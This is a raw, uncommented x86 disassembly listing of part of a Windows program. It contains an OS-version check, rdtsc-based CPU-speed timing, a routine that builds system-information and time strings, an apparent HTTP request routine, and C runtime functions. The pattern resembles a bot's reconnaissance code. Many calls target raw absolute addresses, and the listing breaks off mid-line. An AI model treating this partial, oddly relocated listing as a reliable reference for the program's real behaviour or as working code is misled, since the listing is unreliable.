frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26B05F7h test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26604A7h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h nop call near ptr 26B05F7h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2660000h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi call near ptr 2720000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 271157Dh nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2820000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 call near ptr 2780000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 call near ptr 2790000h nop mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2830000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 nop call near ptr 2790000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2830000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2830000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: 